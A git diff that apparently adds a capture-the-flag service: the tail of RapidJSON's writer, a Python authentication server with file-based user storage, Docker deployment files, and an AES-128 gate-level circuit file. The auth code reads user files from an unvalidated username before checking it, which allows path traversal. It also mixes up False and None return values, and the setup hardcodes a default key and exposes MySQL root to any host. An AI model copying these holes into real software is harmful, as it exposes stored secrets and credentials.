PutUnsafe(*os_, hexDigits[(codepoint >> 8) & 15]); + PutUnsafe(*os_, hexDigits[(codepoint >> 4) & 15]); + PutUnsafe(*os_, hexDigits[(codepoint ) & 15]); + } + else { + RAPIDJSON_ASSERT(codepoint >= 0x010000 && codepoint <= 0x10FFFF); + // Surrogate pair + unsigned s = codepoint - 0x010000; + unsigned lead = (s >> 10) + 0xD800; + unsigned trail = (s & 0x3FF) + 0xDC00; + PutUnsafe(*os_, hexDigits[(lead >> 12) & 15]); + PutUnsafe(*os_, hexDigits[(lead >> 8) & 15]); + PutUnsafe(*os_, hexDigits[(lead >> 4) & 15]); + PutUnsafe(*os_, hexDigits[(lead ) & 15]); + PutUnsafe(*os_, '\\'); + PutUnsafe(*os_, 'u'); + PutUnsafe(*os_, hexDigits[(trail >> 12) & 15]); + PutUnsafe(*os_, hexDigits[(trail >> 8) & 15]); + PutUnsafe(*os_, hexDigits[(trail >> 4) & 15]); + PutUnsafe(*os_, hexDigits[(trail ) & 15]); + } + } + else if ((sizeof(Ch) == 1 || static_cast(c) < 256) && RAPIDJSON_UNLIKELY(escape[static_cast(c)])) { + is.Take(); + PutUnsafe(*os_, '\\'); + PutUnsafe(*os_, static_cast(escape[static_cast(c)])); + if (escape[static_cast(c)] == 'u') { + PutUnsafe(*os_, '0'); + PutUnsafe(*os_, '0'); + PutUnsafe(*os_, hexDigits[static_cast(c) >> 4]); + PutUnsafe(*os_, hexDigits[static_cast(c) & 0xF]); + } + } + else if (RAPIDJSON_UNLIKELY(!(writeFlags & kWriteValidateEncodingFlag ? + Transcoder::Validate(is, *os_) : + Transcoder::TranscodeUnsafe(is, *os_)))) + return false; + } + PutUnsafe(*os_, '\"'); + return true; + } + + bool ScanWriteUnescapedString(GenericStringStream& is, size_t length) { + return RAPIDJSON_LIKELY(is.Tell() < length); + } + + bool WriteStartObject() { os_->Put('{'); return true; } + bool WriteEndObject() { os_->Put('}'); return true; } + bool WriteStartArray() { os_->Put('['); return true; } + bool WriteEndArray() { os_->Put(']'); return true; } + + bool WriteRawValue(const Ch* json, size_t length) { + PutReserve(*os_, length); + GenericStringStream is(json); + while (RAPIDJSON_LIKELY(is.Tell() < length)) { + RAPIDJSON_ASSERT(is.Peek() != '\0'); + if (RAPIDJSON_UNLIKELY(!(writeFlags & kWriteValidateEncodingFlag ? + Transcoder::Validate(is, *os_) : + Transcoder::TranscodeUnsafe(is, *os_)))) + return false; + } + return true; + } + + void Prefix(Type type) { + (void)type; + if (RAPIDJSON_LIKELY(level_stack_.GetSize() != 0)) { // this value is not at root + Level* level = level_stack_.template Top(); + if (level->valueCount > 0) { + if (level->inArray) + os_->Put(','); // add comma if it is not the first element in array + else // in object + os_->Put((level->valueCount % 2 == 0) ? ',' : ':'); + } + if (!level->inArray && level->valueCount % 2 == 0) + RAPIDJSON_ASSERT(type == kStringType); // if it's in object, then even number should be a name + level->valueCount++; + } + else { + RAPIDJSON_ASSERT(!hasRoot_); // Should only has one and only one root. + hasRoot_ = true; + } + } + + // Flush the value if it is the top level one. + bool EndValue(bool ret) { + if (RAPIDJSON_UNLIKELY(level_stack_.Empty())) // end of json text + Flush(); + return ret; + } + + OutputStream* os_; + internal::Stack level_stack_; + int maxDecimalPlaces_; + bool hasRoot_; + +private: + // Prohibit copy constructor & assignment operator. + Writer(const Writer&); + Writer& operator=(const Writer&); +}; + +// Full specialization for StringStream to prevent memory copying + +template<> +inline bool Writer::WriteInt(int i) { + char *buffer = os_->Push(11); + const char* end = internal::i32toa(i, buffer); + os_->Pop(static_cast(11 - (end - buffer))); + return true; +} + +template<> +inline bool Writer::WriteUint(unsigned u) { + char *buffer = os_->Push(10); + const char* end = internal::u32toa(u, buffer); + os_->Pop(static_cast(10 - (end - buffer))); + return true; +} + +template<> +inline bool Writer::WriteInt64(int64_t i64) { + char *buffer = os_->Push(21); + const char* end = internal::i64toa(i64, buffer); + os_->Pop(static_cast(21 - (end - buffer))); + return true; +} + +template<> +inline bool Writer::WriteUint64(uint64_t u) { + char *buffer = os_->Push(20); + const char* end = internal::u64toa(u, buffer); + os_->Pop(static_cast(20 - (end - buffer))); + return true; +} + +template<> +inline bool Writer::WriteDouble(double d) { + if (internal::Double(d).IsNanOrInf()) { + // Note: This code path can only be reached if (RAPIDJSON_WRITE_DEFAULT_FLAGS & kWriteNanAndInfFlag). + if (!(kWriteDefaultFlags & kWriteNanAndInfFlag)) + return false; + if (internal::Double(d).IsNan()) { + PutReserve(*os_, 3); + PutUnsafe(*os_, 'N'); PutUnsafe(*os_, 'a'); PutUnsafe(*os_, 'N'); + return true; + } + if (internal::Double(d).Sign()) { + PutReserve(*os_, 9); + PutUnsafe(*os_, '-'); + } + else + PutReserve(*os_, 8); + PutUnsafe(*os_, 'I'); PutUnsafe(*os_, 'n'); PutUnsafe(*os_, 'f'); + PutUnsafe(*os_, 'i'); PutUnsafe(*os_, 'n'); PutUnsafe(*os_, 'i'); PutUnsafe(*os_, 't'); PutUnsafe(*os_, 'y'); + return true; + } + + char *buffer = os_->Push(25); + char* end = internal::dtoa(d, buffer, maxDecimalPlaces_); + os_->Pop(static_cast(25 - (end - buffer))); + return true; +} + +#if defined(RAPIDJSON_SSE2) || defined(RAPIDJSON_SSE42) +template<> +inline bool Writer::ScanWriteUnescapedString(StringStream& is, size_t length) { + if (length < 16) + return RAPIDJSON_LIKELY(is.Tell() < length); + + if (!RAPIDJSON_LIKELY(is.Tell() < length)) + return false; + + const char* p = is.src_; + const char* end = is.head_ + length; + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + const char* endAligned = reinterpret_cast(reinterpret_cast(end) & static_cast(~15)); + if (nextAligned > end) + return true; + + while (p != nextAligned) + if (*p < 0x20 || *p == '\"' || *p == '\\') { + is.src_ = p; + return RAPIDJSON_LIKELY(is.Tell() < length); + } + else + os_->PutUnsafe(*p++); + + // The rest of string using SIMD + static const char dquote[16] = { '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"' }; + static const char bslash[16] = { '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\' }; + static const char space[16] = { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F }; + const __m128i dq = _mm_loadu_si128(reinterpret_cast(&dquote[0])); + const __m128i bs = _mm_loadu_si128(reinterpret_cast(&bslash[0])); + const __m128i sp = _mm_loadu_si128(reinterpret_cast(&space[0])); + + for (; p != endAligned; p += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + const __m128i t1 = _mm_cmpeq_epi8(s, dq); + const __m128i t2 = _mm_cmpeq_epi8(s, bs); + const __m128i t3 = _mm_cmpeq_epi8(_mm_max_epu8(s, sp), sp); // s < 0x20 <=> max(s, 0x1F) == 0x1F + const __m128i x = _mm_or_si128(_mm_or_si128(t1, t2), t3); + unsigned short r = static_cast(_mm_movemask_epi8(x)); + if (RAPIDJSON_UNLIKELY(r != 0)) { // some of characters is escaped + SizeType len; +#ifdef _MSC_VER // Find the index of first escaped + unsigned long offset; + _BitScanForward(&offset, r); + len = offset; +#else + len = static_cast(__builtin_ffs(r) - 1); +#endif + char* q = reinterpret_cast(os_->PushUnsafe(len)); + for (size_t i = 0; i < len; i++) + q[i] = p[i]; + + p += len; + break; + } + _mm_storeu_si128(reinterpret_cast<__m128i *>(os_->PushUnsafe(16)), s); + } + + is.src_ = p; + return RAPIDJSON_LIKELY(is.Tell() < length); +} +#elif defined(RAPIDJSON_NEON) +template<> +inline bool Writer::ScanWriteUnescapedString(StringStream& is, size_t length) { + if (length < 16) + return RAPIDJSON_LIKELY(is.Tell() < length); + + if (!RAPIDJSON_LIKELY(is.Tell() < length)) + return false; + + const char* p = is.src_; + const char* end = is.head_ + length; + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + const char* endAligned = reinterpret_cast(reinterpret_cast(end) & static_cast(~15)); + if (nextAligned > end) + return true; + + while (p != nextAligned) + if (*p < 0x20 || *p == '\"' || *p == '\\') { + is.src_ = p; + return RAPIDJSON_LIKELY(is.Tell() < length); + } + else + os_->PutUnsafe(*p++); + + // The rest of string using SIMD + const uint8x16_t s0 = vmovq_n_u8('"'); + const uint8x16_t s1 = vmovq_n_u8('\\'); + const uint8x16_t s2 = vmovq_n_u8('\b'); + const uint8x16_t s3 = vmovq_n_u8(32); + + for (; p != endAligned; p += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, s0); + x = vorrq_u8(x, vceqq_u8(s, s1)); + x = vorrq_u8(x, vceqq_u8(s, s2)); + x = vorrq_u8(x, vcltq_u8(s, s3)); + + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + SizeType len = 0; + bool escaped = false; + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + len = 8 + (lz >> 3); + escaped = true; + } + } else { + uint32_t lz = internal::clzll(low); + len = lz >> 3; + escaped = true; + } + if (RAPIDJSON_UNLIKELY(escaped)) { // some of characters is escaped + char* q = reinterpret_cast(os_->PushUnsafe(len)); + for (size_t i = 0; i < len; i++) + q[i] = p[i]; + + p += len; + break; + } + vst1q_u8(reinterpret_cast(os_->PushUnsafe(16)), s); + } + + is.src_ = p; + return RAPIDJSON_LIKELY(is.Tell() < length); +} +#endif // RAPIDJSON_NEON + +RAPIDJSON_NAMESPACE_END + +#if defined(_MSC_VER) || defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_RAPIDJSON_H_ diff --git a/services/service2/src/auth_service/server.py b/services/service2/src/auth_service/server.py new file mode 100644 index 0000000..e41d895 --- /dev/null +++ b/services/service2/src/auth_service/server.py @@ -0,0 +1,98 @@ +import authlib +import user_handlers +import string +import os +import sys + +AUTH_KEY = os.environ["MasterKey"] +SERVICE_KEYS = [os.environ["ExamNotesKey"], os.environ["EncryptedNotesKey"], os.environ["ExamPortalKey"]] + +ALPH = string.ascii_letters + string.digits + +available_commands = ["AUTH", "TOKEN", "REG"] + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +class Server(): + def __init__(self): + pass + + def handle_ack(self): + print("HELLO") + assert input().strip() == "HELLO" + print("OK") + + def get_user_choice(self): + req = input().strip() + if req in available_commands: + print("OK") + return req + print("BAD") + return + + def handle_registration(self): + username = input().strip() + if not validate_string(username): + print("BAD_USER") + return + + print("OK") + password = input().strip() + + if not validate_string(password): + print("BAD_PSW") + return + + chk = user_handlers.add_user(username, password) + + if chk: + print("OK") + else: + print("USER_EXISTS") + + + def handle_login(self): + username = input().strip() + h = user_handlers.retrieve_secret_by_username(username) + + if h is None: + return "BAD" + + auth = authlib.AuthService(username, h, AUTH_KEY) + + if not validate_string(username): + return "BAD" + print("OK") + + initial_values = input().strip() + intermediate_values = auth.get_values(initial_values) + print(intermediate_values) + final_values = input().strip() + + return auth.finalize_token(final_values) + + def handle_token(self): + ticket_service = authlib.TicketService(AUTH_KEY, SERVICE_KEYS) + user_token, auth_token = input().strip().split(".") + + key_token, service_token = ticket_service.get_service_tokens(user_token, auth_token) + print(key_token + "." + service_token) + + +try: + s = Server() + + s.handle_ack() + choice = s.get_user_choice() + + if choice == "AUTH": + auth_token = s.handle_login() + print(auth_token) + elif choice == "TOKEN": + s.handle_token() + elif choice == "REG": + s.handle_registration() +except Exception as e: + print(e, file=sys.stderr) + print("BAD") diff --git a/services/service2/src/auth_service/user_handlers.py b/services/service2/src/auth_service/user_handlers.py new file mode 100644 index 0000000..99a67a5 --- /dev/null +++ b/services/service2/src/auth_service/user_handlers.py @@ -0,0 +1,21 @@ +import os +import authlib + +base_path = "users" + +def add_user(username, password): + try: + secret = authlib.get_secret(password) + with open(os.path.join(base_path, username), "x") as f: + f.write(secret) + return True + except FileExistsError: + return False + +def retrieve_secret_by_username(username): + try: + with open(os.path.join(base_path, username), "r") as f: + return f.read().strip() + return True + except FileNotFoundError: + return False diff --git a/services/service2/src/deploy.sh b/services/service2/src/deploy.sh new file mode 100644 index 0000000..39dca44 --- /dev/null +++ b/services/service2/src/deploy.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +set -e; +DB_PASS=$(hexdump -vn16 -e'4/4 "%08X" 1 "\n"' /dev/urandom); + +if [[ ! -f ".env" ]] +then + echo "DB_PASS=${DB_PASS}" > .env +fi + +docker-compose up --build --remove-orphans -d diff --git a/services/service2/src/docker-compose.yml b/services/service2/src/docker-compose.yml new file mode 100644 index 0000000..e3bb35d --- /dev/null +++ b/services/service2/src/docker-compose.yml @@ -0,0 +1,50 @@ +version: "3" + +services: + examportal-db: + image: mysql + container_name: "examportal-db" + environment: + MYSQL_ROOT_PASSWORD: "${DB_PASS}" + MYSQL_DATABASE: examportal + MYSQL_ROOT_HOST: "%" + command: ["--default-authentication-plugin=mysql_native_password"] + restart: unless-stopped + volumes: + - ./examportal/db/init:/docker-entrypoint-initdb.d + - ./examportal/db/data:/var/lib/mysql + + auth_service: + build: ./auth_service + container_name: "auth_service" + ports: + - "0.0.0.0:1234:8000" + restart: unless-stopped + + examnotes: + build: ./examnotes + container_name: "examnotes" + ports: + - "0.0.0.0:1235:8000" + restart: unless-stopped + + encryptednotes: + build: ./encryptednotes + container_name: "encryptednotes" + ports: + - "0.0.0.0:1236:8000" + restart: unless-stopped + + examportal: + build: ./examportal + container_name: "examportal" + environment: + DBHOST: examportal-db + DBUSER: root + DBPASS: "${DB_PASS}" + DBNAME: examportal + ports: + - "0.0.0.0:1237:80" + restart: unless-stopped + depends_on: + - examportal-db diff --git a/services/service2/src/encryptednotes/Dockerfile b/services/service2/src/encryptednotes/Dockerfile new file mode 100644 index 0000000..806c2ff --- /dev/null +++ b/services/service2/src/encryptednotes/Dockerfile @@ -0,0 +1,14 @@ +FROM ubuntu:20.04 + +RUN apt-get update && apt-get install -y python3 python3-dev socat python3-pip + +WORKDIR /service/server +COPY app/requirements.txt . +RUN pip install -r ./requirements.txt + +COPY app . +RUN mkdir -p /service/server/data && chown -R nobody /service/server +USER nobody +ENV EncryptedNotesKey="EncryptedNotesAppDefaultKey00000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'python3 server.py' diff --git a/services/service2/src/encryptednotes/__init__.py b/services/service2/src/encryptednotes/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/services/service2/src/encryptednotes/app/aes_128.txt b/services/service2/src/encryptednotes/app/aes_128.txt new file mode 100644 index 0000000..86262f0 --- /dev/null +++ b/services/service2/src/encryptednotes/app/aes_128.txt @@ -0,0 +1,36667 @@ +36663 36919 +2 128 128 +1 128 + +2 1 128 0 33254 XOR +2 1 129 1 33255 XOR +2 1 130 2 33256 XOR +2 1 131 3 33257 XOR +2 1 132 4 33258 XOR +2 1 133 5 33259 XOR +2 1 134 6 33260 XOR +2 1 135 7 33261 XOR +2 1 136 8 33262 XOR +2 1 137 9 33263 XOR +2 1 138 10 33264 XOR +2 1 139 11 33265 XOR +2 1 140 12 33266 XOR +2 1 141 13 33267 XOR +2 1 142 14 33268 XOR +2 1 143 15 33269 XOR +2 1 144 16 33270 XOR +2 1 145 17 33271 XOR +2 1 146 18 33272 XOR +2 1 147 19 33273 XOR +2 1 148 20 33274 XOR +2 1 149 21 33275 XOR +2 1 150 22 33276 XOR +2 1 151 23 33277 XOR +2 1 152 24 33278 XOR +2 1 153 25 33279 XOR +2 1 154 26 33280 XOR +2 1 155 27 33281 XOR +2 1 156 28 33282 XOR +2 1 157 29 33283 XOR +2 1 158 30 33284 XOR +2 1 159 31 33285 XOR +2 1 160 32 33286 XOR +2 1 161 33 33287 XOR +2 1 162 34 33288 XOR +2 1 163 35 33289 XOR +2 1 164 36 33290 XOR +2 1 165 37 33291 XOR +2 1 166 38 33292 XOR +2 1 167 39 33293 XOR +2 1 168 40 33294 XOR +2 1 169 41 33295 XOR +2 1 170 42 33296 XOR +2 1 171 43 33297 XOR +2 1 172 44 33298 XOR +2 1 173 45 33299 XOR +2 1 174 46 33300 XOR +2 1 175 47 33301 XOR +2 1 176 48 33302 XOR +2 1 177 49 33303 XOR +2 1 178 50 33304 XOR +2 1 179 51 33305 XOR +2 1 180 52 33306 XOR +2 1 181 53 33307 XOR +2 1 182 54 33308 XOR +2 1 183 55 33309 XOR +2 1 184 56 33310 XOR +2 1 185 57 33311 XOR +2 1 186 58 33312 XOR +2 1 187 59 33313 XOR +2 1 188 60 33314 XOR +2 1 189 61 33315 XOR +2 1 190 62 33316 XOR +2 1 191 63 33317 XOR +2 1 192 64 33318 XOR +2 1 193 65 33319 XOR +2 1 194 66 33320 XOR +2 1 195 67 33321 XOR +2 1 196 68 33322 XOR +2 1 197 69 33323 XOR +2 1 198 70 33324 XOR +2 1 199 71 33325 XOR +2 1 200 72 33326 XOR +2 1 201 73 33327 XOR +2 1 202 74 33328 XOR +2 1 203 75 33329 XOR +2 1 204 76 33330 XOR +2 1 205 77 33331 XOR +2 1 206 78 33332 XOR +2 1 207 79 33333 XOR +2 1 208 80 33334 XOR +2 1 209 81 33335 XOR +2 1 210 82 33336 XOR +2 1 211 83 33337 XOR +2 1 212 84 33338 XOR +2 1 213 85 33339 XOR +2 1 214 86 33340 XOR +2 1 215 87 33341 XOR +2 1 216 88 33342 XOR +2 1 217 89 33343 XOR +2 1 218 90 33344 XOR +2 1 219 91 33345 XOR +2 1 220 92 33346 XOR +2 1 221 93 33347 XOR +2 1 222 94 33348 XOR +2 1 223 95 33349 XOR +2 1 224 96 33350 XOR +2 1 225 97 33351 XOR +2 1 226 98 33352 XOR +2 1 227 99 33353 XOR +2 1 228 100 33354 XOR +2 1 229 101 33355 XOR +2 1 230 102 33356 XOR +2 1 231 103 33357 XOR +2 1 232 104 33358 XOR +2 1 233 105 33359 XOR +2 1 234 106 33360 XOR +2 1 235 107 33361 XOR +2 1 236 108 33362 XOR +2 1 237 109 33363 XOR +2 1 238 110 33364 XOR +2 1 239 111 33365 XOR +2 1 240 112 33366 XOR +2 1 241 113 33367 XOR +2 1 242 114 33368 XOR +2 1 243 115 33369 XOR +2 1 244 116 33370 XOR +2 1 245 117 33371 XOR +2 1 246 118 33372 XOR +2 1 247 119 33373 XOR +2 1 248 120 33374 XOR +2 1 249 121 33375 XOR +2 1 250 122 33376 XOR +2 1 251 123 33377 XOR +2 1 252 124 33378 XOR +2 1 253 125 33379 XOR +2 1 254 126 33380 XOR +2 1 255 127 33381 XOR +2 1 33271 33273 3456 XOR +2 1 33275 33277 3457 XOR +2 1 33272 3456 3458 XOR +2 1 33276 3458 3539 XOR +2 1 33275 3458 3536 XOR +2 1 33274 33276 3459 XOR +2 1 33270 33276 3463 XOR +2 1 3463 3458 3538 XOR +2 1 33274 33277 3550 XOR +2 1 3457 3463 3545 XOR +2 1 3456 3550 3542 XOR +2 1 33270 3542 3541 XOR +2 1 33271 33272 3473 XOR +2 1 3473 3545 3543 XOR +2 1 3550 3473 3546 XOR +2 1 33272 33274 3552 XOR +2 1 3457 3552 3537 XOR +2 1 33275 3463 3548 XOR +2 1 33271 3548 3544 XOR +2 1 33273 33272 3433 XOR +2 1 3459 3457 3419 XOR +2 1 3456 3419 3540 XOR +2 1 3459 33275 3418 XOR +2 1 33270 3418 3547 XOR +2 1 33277 33271 3551 XOR +2 1 33277 33272 3549 XOR +2 1 3542 3546 3535 AND +2 1 3535 3459 3462 XOR +2 1 3543 3541 3534 AND +2 1 3547 33270 3533 AND +2 1 3551 3536 3532 AND +2 1 3532 3457 3461 XOR +2 1 3548 3544 3531 AND +2 1 3545 3538 3530 AND +2 1 3550 3539 3529 AND +2 1 3529 3458 3460 XOR +2 1 3462 3460 3466 XOR +2 1 33277 3466 3471 XOR +2 1 3552 3537 3528 AND +2 1 3528 3534 3480 XOR +2 1 3480 3471 3526 XOR +2 1 3528 3529 3432 XOR +2 1 3432 3433 3479 XOR +2 1 3479 3461 3478 XOR +2 1 3531 3478 3525 XOR +2 1 3549 3540 3527 AND +2 1 3527 3530 3481 XOR +2 1 3527 3533 3485 XOR +2 1 3485 3457 3472 XOR +2 1 3480 3472 3523 XOR +2 1 3528 3481 3475 XOR +2 1 3461 3481 3435 XOR +2 1 3435 3460 3524 XOR +2 1 3466 3485 3434 XOR +2 1 33275 3434 3477 XOR +2 1 3531 3475 3431 XOR +2 1 33271 3431 3518 XOR +2 1 3526 3525 3522 AND +2 1 3522 3477 3517 XOR +2 1 3522 3524 3521 XOR +2 1 3523 3521 3520 AND +2 1 3520 3477 3519 XOR +2 1 3520 3532 3426 XOR +2 1 3426 3462 3422 XOR +2 1 33277 3422 3425 XOR +2 1 3520 3471 3423 XOR +2 1 33275 3422 3421 XOR +2 1 3517 3518 3516 AND +2 1 3516 3524 3515 XOR +2 1 3522 3516 3514 XOR +2 1 3516 3475 3430 XOR +2 1 3516 3533 3429 XOR +2 1 3429 3530 3424 XOR +2 1 3424 3425 3507 XOR +2 1 3524 3514 3513 AND +2 1 3513 3521 3511 XOR +2 1 3513 3531 3484 XOR +2 1 3484 3478 3505 XOR +2 1 33271 3484 3467 XOR +2 1 3467 3430 3512 XOR +2 1 3519 3511 3510 AND +2 1 3510 3480 3470 XOR +2 1 3470 3472 3509 XOR +2 1 3510 3534 3428 XOR +2 1 3467 3428 3420 XOR +2 1 3457 3420 3427 XOR +2 1 3424 3427 3508 XOR +2 1 3470 3423 3506 XOR +2 1 3420 3421 3504 XOR +2 1 3505 3542 3503 AND +2 1 3512 3541 3502 AND +2 1 3515 33270 3501 AND +2 1 3501 3503 3483 XOR +2 1 3506 3536 3500 AND +2 1 3509 3548 3499 AND +2 1 3519 3538 3498 AND +2 1 3498 3499 3437 XOR +2 1 3507 3539 3497 AND +2 1 3504 3537 3496 AND +2 1 3496 3499 3452 XOR +1 1 3452 3449 INV +2 1 3496 3497 3448 XOR +2 1 3508 3540 3495 AND +2 1 3505 3546 3494 AND +2 1 3512 3543 3493 AND +2 1 3515 3547 3492 AND +2 1 3506 3551 3491 AND +2 1 3491 3495 3468 XOR +2 1 3500 3491 3453 XOR +1 1 3468 3446 INV +2 1 3509 3544 3490 AND +2 1 3498 3490 3455 XOR +2 1 3519 3545 3489 AND +2 1 3446 3489 3445 XOR +2 1 3445 3483 3441 XOR +2 1 3507 3550 3488 AND +2 1 3488 3441 3444 XOR +2 1 3504 3552 3487 AND +2 1 3487 3488 3482 XOR +2 1 3493 3482 3464 XOR +2 1 3494 3464 3465 XOR +2 1 3502 3465 3469 XOR +2 1 3503 3469 3474 XOR +2 1 3455 3482 3451 XOR +2 1 3483 3451 3454 XOR +2 1 3453 3454 3556 XOR +2 1 3446 3451 3450 XOR +2 1 3449 3450 3555 XOR +2 1 3474 3448 3554 XOR +2 1 3464 3441 3440 XOR +2 1 3501 3469 3438 XOR +2 1 3437 3438 34820 XOR +2 1 3508 3549 3486 AND +2 1 3497 3486 3447 XOR +1 1 3447 3443 INV +2 1 3443 3444 3553 XOR +2 1 33279 33281 3595 XOR +2 1 33283 33285 3596 XOR +2 1 33280 3595 3597 XOR +2 1 33284 3597 3678 XOR +2 1 33283 3597 3675 XOR +2 1 33282 33284 3598 XOR +2 1 33278 33284 3602 XOR +2 1 3602 3597 3677 XOR +2 1 33282 33285 3689 XOR +2 1 3596 3602 3684 XOR +2 1 3595 3689 3681 XOR +2 1 33278 3681 3680 XOR +2 1 33279 33280 3612 XOR +2 1 3612 3684 3682 XOR +2 1 3689 3612 3685 XOR +2 1 33280 33282 3691 XOR +2 1 3596 3691 3676 XOR +2 1 33283 3602 3687 XOR +2 1 33279 3687 3683 XOR +2 1 33281 33280 3572 XOR +2 1 3598 3596 3558 XOR +2 1 3595 3558 3679 XOR +2 1 3598 33283 3557 XOR +2 1 33278 3557 3686 XOR +2 1 33285 33279 3690 XOR +2 1 33285 33280 3688 XOR +2 1 3681 3685 3674 AND +2 1 3674 3598 3601 XOR +2 1 3682 3680 3673 AND +2 1 3686 33278 3672 AND +2 1 3690 3675 3671 AND +2 1 3671 3596 3600 XOR +2 1 3687 3683 3670 AND +2 1 3684 3677 3669 AND +2 1 3689 3678 3668 AND +2 1 3668 3597 3599 XOR +2 1 3601 3599 3605 XOR +2 1 33285 3605 3610 XOR +2 1 3691 3676 3667 AND +2 1 3667 3673 3619 XOR +2 1 3619 3610 3665 XOR +2 1 3667 3668 3571 XOR +2 1 3571 3572 3618 XOR +2 1 3618 3600 3617 XOR +2 1 3670 3617 3664 XOR +2 1 3688 3679 3666 AND +2 1 3666 3669 3620 XOR +2 1 3666 3672 3624 XOR +2 1 3624 3596 3611 XOR +2 1 3619 3611 3662 XOR +2 1 3667 3620 3614 XOR +2 1 3600 3620 3574 XOR +2 1 3574 3599 3663 XOR +2 1 3605 3624 3573 XOR +2 1 33283 3573 3616 XOR +2 1 3670 3614 3570 XOR +2 1 33279 3570 3657 XOR +2 1 3665 3664 3661 AND +2 1 3661 3616 3656 XOR +2 1 3661 3663 3660 XOR +2 1 3662 3660 3659 AND +2 1 3659 3616 3658 XOR +2 1 3659 3671 3565 XOR +2 1 3565 3601 3561 XOR +2 1 33285 3561 3564 XOR +2 1 3659 3610 3562 XOR +2 1 33283 3561 3560 XOR +2 1 3656 3657 3655 AND +2 1 3655 3663 3654 XOR +2 1 3661 3655 3653 XOR +2 1 3655 3614 3569 XOR +2 1 3655 3672 3568 XOR +2 1 3568 3669 3563 XOR +2 1 3563 3564 3646 XOR +2 1 3663 3653 3652 AND +2 1 3652 3660 3650 XOR +2 1 3652 3670 3623 XOR +2 1 3623 3617 3644 XOR +2 1 33279 3623 3606 XOR +2 1 3606 3569 3651 XOR +2 1 3658 3650 3649 AND +2 1 3649 3619 3609 XOR +2 1 3609 3611 3648 XOR +2 1 3649 3673 3567 XOR +2 1 3606 3567 3559 XOR +2 1 3596 3559 3566 XOR +2 1 3563 3566 3647 XOR +2 1 3609 3562 3645 XOR +2 1 3559 3560 3643 XOR +2 1 3644 3681 3642 AND +2 1 3651 3680 3641 AND +2 1 3654 33278 3640 AND +2 1 3640 3642 3622 XOR +2 1 3645 3675 3639 AND +2 1 3648 3687 3638 AND +2 1 3658 3677 3637 AND +2 1 3637 3638 3576 XOR +2 1 3646 3678 3636 AND +2 1 3643 3676 3635 AND +2 1 3635 3638 3591 XOR +1 1 3591 3588 INV +2 1 3635 3636 3587 XOR +2 1 3647 3679 3634 AND +2 1 3644 3685 3633 AND +2 1 3651 3682 3632 AND +2 1 3654 3686 3631 AND +2 1 3645 3690 3630 AND +2 1 3630 3634 3607 XOR +2 1 3639 3630 3592 XOR +1 1 3607 3585 INV +2 1 3648 3683 3629 AND +2 1 3637 3629 3594 XOR +2 1 3658 3684 3628 AND +2 1 3585 3628 3584 XOR +2 1 3584 3622 3580 XOR +2 1 3646 3689 3627 AND +2 1 3627 3580 3583 XOR +2 1 3643 3691 3626 AND +2 1 3626 3627 3621 XOR +2 1 3632 3621 3603 XOR +2 1 3633 3603 3604 XOR +2 1 3641 3604 3608 XOR +2 1 3642 3608 3613 XOR +2 1 3594 3621 3590 XOR +2 1 3622 3590 3593 XOR +2 1 3592 3593 3695 XOR +2 1 3585 3590 3589 XOR +2 1 3588 3589 3694 XOR +2 1 3613 3587 3693 XOR +2 1 3603 3580 3579 XOR +2 1 3640 3608 3577 XOR +2 1 3576 3577 34806 XOR +2 1 3647 3688 3625 AND +2 1 3636 3625 3586 XOR +1 1 3586 3582 INV +2 1 3582 3583 3692 XOR +1 1 3693 34808 INV +2 1 33287 33289 3734 XOR +2 1 33291 33293 3735 XOR +2 1 33288 3734 3736 XOR +2 1 33292 3736 3817 XOR +2 1 33291 3736 3814 XOR +2 1 33290 33292 3737 XOR +2 1 33286 33292 3741 XOR +2 1 3741 3736 3816 XOR +2 1 33290 33293 3828 XOR +2 1 3735 3741 3823 XOR +2 1 3734 3828 3820 XOR +2 1 33286 3820 3819 XOR +2 1 33287 33288 3751 XOR +2 1 3751 3823 3821 XOR +2 1 3828 3751 3824 XOR +2 1 33288 33290 3830 XOR +2 1 3735 3830 3815 XOR +2 1 33291 3741 3826 XOR +2 1 33287 3826 3822 XOR +2 1 33289 33288 3711 XOR +2 1 3737 3735 3697 XOR +2 1 3734 3697 3818 XOR +2 1 3737 33291 3696 XOR +2 1 33286 3696 3825 XOR +2 1 33293 33287 3829 XOR +2 1 33293 33288 3827 XOR +2 1 3820 3824 3813 AND +2 1 3813 3737 3740 XOR +2 1 3821 3819 3812 AND +2 1 3825 33286 3811 AND +2 1 3829 3814 3810 AND +2 1 3810 3735 3739 XOR +2 1 3826 3822 3809 AND +2 1 3823 3816 3808 AND +2 1 3828 3817 3807 AND +2 1 3807 3736 3738 XOR +2 1 3740 3738 3744 XOR +2 1 33293 3744 3749 XOR +2 1 3830 3815 3806 AND +2 1 3806 3812 3758 XOR +2 1 3758 3749 3804 XOR +2 1 3806 3807 3710 XOR +2 1 3710 3711 3757 XOR +2 1 3757 3739 3756 XOR +2 1 3809 3756 3803 XOR +2 1 3827 3818 3805 AND +2 1 3805 3808 3759 XOR +2 1 3805 3811 3763 XOR +2 1 3763 3735 3750 XOR +2 1 3758 3750 3801 XOR +2 1 3806 3759 3753 XOR +2 1 3739 3759 3713 XOR +2 1 3713 3738 3802 XOR +2 1 3744 3763 3712 XOR +2 1 33291 3712 3755 XOR +2 1 3809 3753 3709 XOR +2 1 33287 3709 3796 